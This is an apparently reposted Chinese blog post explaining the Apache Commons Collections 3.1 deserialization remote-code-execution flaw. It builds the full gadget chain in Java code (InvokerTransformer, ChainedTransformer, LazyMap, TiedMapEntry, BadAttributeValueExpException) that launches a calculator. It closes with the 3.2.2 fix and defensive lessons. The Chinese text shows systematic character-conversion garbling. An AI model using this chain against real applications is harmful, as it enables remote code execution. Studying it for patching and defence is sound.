原来不仅是fastjson,这个你天天都在用的类库也被爆过反序列化漏洞!

GitHub 15.8k Star 的Java工程师成神之路,不来了解一下吗!php

GitHub 15.8k Star 的Java工程师成神之路,真的不来了解一下吗!html

GitHub 15.8k Star 的Java工程师成神之路,真的真的不来了解一下吗!java

在《fastjson到底作错了什么?为何会被频繁爆出漏洞?》文章中,我从技术角度分析过为何fastjson会被频繁爆出一些安全漏洞,而后有人在评论区发表"说到底就是fastjson烂..."等言论,通常遇到这种评论我都是不想理的。git

可是过后想一想,这个事情仍是要单独说一下,由于这种想法很危险。程序员

一旦这位读者有一天当上了领导,那么若是他负责的项目发生了漏洞,他仍是站出来讲"都怪XXX代码写的烂...",这实际上是很是可怕的。github

工做久了的话,就会慢慢有种感受:代码都是人写的,是人写的代码就可能存在漏洞,这个是永远都没法避免的,任何牛X的程序员都不可能写出彻底没有bug的代码!apache

其实关于序列化的安全性问题,不管是Java原生的序列化技术仍是不少其余的开源序列化工具,都曾经发生过。json

序列化的安全性,一直都是比较大的一个话题,我无心为fastjson辩驳,可是出问题以后直接喷代码写的烂,实际上是有点不负责任的。windows

Apache-Commons-Collections这个框架,相信每个Java程序员都不陌生,这是一个很是著名的开源框架。数组

可是,他其实也曾经被爆出过序列化安全漏洞,而漏洞的表现和fastjson同样,都是能够被远程执行命令。

背景

Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的、解决各类实际的通用问题且开源的Java代码。

**Commons Collections包为Java标准的Collections API提供了至关好的补充。**在此基础上对其经常使用的数据结构操做进行了很好的封装、抽象和补充。让咱们在开发应用程序的过程当中,既保证了性能,同时也能大大简化代码。

Commons Collections的最新版是4.4,可是使用比较普遍的仍是3.x的版本。其实,在3.2.1如下版本中,存在一个比较大的安全漏洞,能够被利用来进行远程命令执行。

这个漏洞在2015年第一次被披露出来,可是业内一直称称这个漏洞为"2015年最被低估的漏洞"。

由于这个类库的使用实在是太普遍了,首当其中的就是不少Java Web Server,这个漏洞在当时横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

以后,Gabriel Lawrence和Chris Frohoff两位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection实现任意代码执行。

问题复现

这个问题主要会发生在Apache Commons Collections的3.2.1如下版本,本次使用3.1版本进行测试,JDK版本为Java 8。

利用Transformer攻击

Commons Collections中提供了一个Transformer接口,主要是能够用来进行类型装换的,这个接口有一个实现类是和咱们今天要介绍的漏洞有关的,那就是InvokerTransformer。

InvokerTransformer提供了一个transform方法,该方法核心代码只有3行,主要做用就是经过反射对传入的对象进行实例化,而后执行其iMethodName方法。

而须要调用的iMethodName和须要使用的参数iArgs其实都是InvokerTransformer类在实例化时设定进来的,这个类的构造函数以下:

也就是说,使用这个类,理论上能够执行任何方法。那么,咱们就能够利用这个类在Java中执行外部命令。

咱们知道,想要在Java中执行外部命令,须要使用Runtime.getRuntime().exec(cmd)的形式,那么,咱们就想办法经过以上工具类实现这个功能。

首先,经过InvokerTransformer的构造函数设置好咱们要执行的方法以及参数:

Transformer transformer = new InvokerTransformer("exec",
        new Class[] {String.class},
        new Object[] {"open /Applications/Calculator.app"});
复制代码

经过,构造函数,咱们设定方法名为exec,执行的命令为open /Applications/Calculator.app,即打开mac电脑上面的计算器(windows下命令:C:\\Windows\\System32\\calc.exe)。

而后,经过InvokerTransformer实现对Runtime类的实例化:

transformer.transform(Runtime.getRuntime());
复制代码

运行程序后,会执行外部命令,打开电脑上的计算机程序:

至此,咱们知道能够利用InvokerTransformer来调用外部命令了,那是否是只须要把一个咱们自定义的InvokerTransformer序列化成字符串,而后再反序列化,接口实现远程命令执行:

先将transformer对象序列化到文件中,再从文件中读取出来,而且执行其transform方法,就实现了攻击。

你觉得这就完了?

可是,若是事情只有这么简单的话,那这个漏洞应该早就被发现了。想要真的实现攻击,那么还有几件事要作。

由于,newTransformer.transform(Runtime.getRuntime());这样的代码,不会有人真的在代码中写的。

若是没有了这行代码,还能实现执行外部命令么?

这就要利用到Commons Collections中提供了另外一个工具那就是ChainedTransformer,这个类是Transformer的实现类。

ChainedTransformer类提供了一个transform方法,他的功能遍历他的iTransformers数组,而后依次调用其transform方法,而且每次都返回一个对象,而且这个对象能够做为下一次调用的参数。

那么,咱们能够利用这个特性,来本身实现和transformer.transform(Runtime.getRuntime());一样的功能:

Transformer[] transformers = new Transformer[] {
    //经过内置的ConstantTransformer来获取Runtime类
    new ConstantTransformer(Runtime.class),
    //反射调用getMethod方法,而后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
    new InvokerTransformer("getMethod",
        new Class[] {String.class, Class[].class },
        new Object[] {"getRuntime", new Class[0] }),
    //反射调用invoke方法,而后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
    new InvokerTransformer("invoke",
        new Class[] {Object.class, Object[].class },
        new Object[] {null, new Object[0] }),
    //反射调用exec方法
    new InvokerTransformer("exec",
        new Class[] {String.class },
        new Object[] {"open /Applications/Calculator.app"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
复制代码

在拿到一个transformerChain以后,直接调用他的transform方法,传入任何参数均可以,执行以后,也能够实现打开本地计算器程序的功能:

那么,结合序列化,如今的攻击更加进了一步,再也不须要必定要传入newTransformer.transform(Runtime.getRuntime());这样的代码了,只要代码中有 transformer.transform()方法的调用便可,不管里面是什么参数:

攻击者不会知足于此

可是,通常也不会有程序员会在代码中写这样的代码。

那么,攻击手段就须要更进一步,真正作到"不须要程序员配合"。

因而,攻击者们发现了在Commons Collections中提供了一个LazyMap类,这个类的get会调用transform方法。(Commons Collections还真的是懂得黑客想什么呀。)

那么,如今的攻击方向就是想办法调用到LazyMap的get方法,而且把其中的factory设置成咱们的序列化对象就好了。

顺藤摸瓜,能够找到Commons Collections中的TiedMapEntry类的getValue方法会调用到LazyMap的get方法,而TiedMapEntry类的getValue又会被其中的toString()方法调用到。

public String toString() {
    return getKey() + "=" + getValue();
}

public Object getValue() {
    return map.get(key);
}
复制代码

那么,如今的攻击门槛就更低了一些,只要咱们本身构造一个TiedMapEntry,而且将他进行序列化,这样,只要有人拿到这个序列化以后的对象,调用他的toString方法的时候,就会自动触发bug。

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
复制代码

咱们知道,toString会在不少时候被隐式调用,如输出的时候(System.out.println(ois.readObject());),代码示例以下:

如今,黑客只须要把本身构造的TiedMapEntry的序列化后的内容上传给应用程序,应用程序在反序列化以后,若是调用了toString就会被攻击。

只要反序列化,就会被攻击

那么,有没有什么办法,让代码只要对咱们准备好的内容进行反序列化就会遭到攻击呢?

倒还真的被发现了,只要知足如下条件就好了:

那就是在某个类的readObject会调用到上面咱们提到的LazyMap或者TiedMapEntry的相关方法就好了。由于Java反序列化的时候,会调用对象的readObject方法。

经过深刻挖掘,黑客们找到了BadAttributeValueExpException、AnnotationInvocationHandler等类。这里拿BadAttributeValueExpException举例

BadAttributeValueExpException类是Java中提供的一个异常类,他的readObject方法直接调用了toString方法:

那么,攻击者只须要想办法把TiedMapEntry的对象赋值给代码中的valObj就好了。

经过阅读源码,咱们发现,只要给BadAttributeValueExpException类中的成员变量val设置成一个TiedMapEntry类型的对象就好了。

这就简单了,经过反射就能实现:

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

// val是私有变量,因此利用下面方法进行赋值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);
复制代码

因而,这时候,攻击就很是简单了,只须要把BadAttributeValueExpException对象序列化成字符串,只要这个字符串内容被反序列化,那么就会被攻击。

问题解决

以上,咱们复现了这个Apache Commons Collections类库带来的一个和反序列化有关的远程代码执行漏洞。

经过这个漏洞的分析,咱们能够发现,只要有一个地方代码写的不够严谨,就可能会被攻击者利用。

由于这个漏洞影响范围很大,因此在被爆出来以后就被修复掉了,开发者只须要将Apache Commons Collections类库升级到3.2.2版本,便可避免这个漏洞。

-w1382

3.2.2版本对一些不安全的Java类的序列化支持增长了开关,默认为关闭状态。涉及的类包括

CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory,
WhileClosure
复制代码

如在InvokerTransformer类中,本身实现了和序列化有关的writeObject()和 readObject()方法:

在两个方法中,进行了序列化安全的相关校验,校验实现代码以下:

在序列化及反序列化过程当中,会检查对于一些不安全类的序列化支持是不是被禁用的,若是是禁用的,那么就会抛出UnsupportedOperationException,经过org.apache.commons.collections.enableUnsafeSerialization设置这个特性的开关。

将Apache Commons Collections升级到3.2.2之后,执行文中示例代码,将报错以下:

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
    at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
    at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)
复制代码

后话

本文介绍了Apache Commons Collections的历史版本中的一个反序列化漏洞。

若是你阅读本文以后,可以有如下思考,那么本文的目的就达到了:

一、代码都是人写的,有bug都是能够理解的

二、公共的基础类库,必定要重点考虑安全性问题

三、在使用公共类库的时候,要时刻关注其安全状况,一旦有漏洞爆出,要立刻升级

四、安全领域深不见底,攻击者总能抽丝剥茧,一点点bug均可能被利用

参考资料:

commons.apache.org/proper/comm…

p0sec.net/index.php/a…

www.freebuf.com/vuls/175252…

kingx.me/commons-col…

欢迎你们关注个人公众号,会按期推送这种干货!干到你到百度、谷歌都找不到的!!

相关文章
相关标签/搜索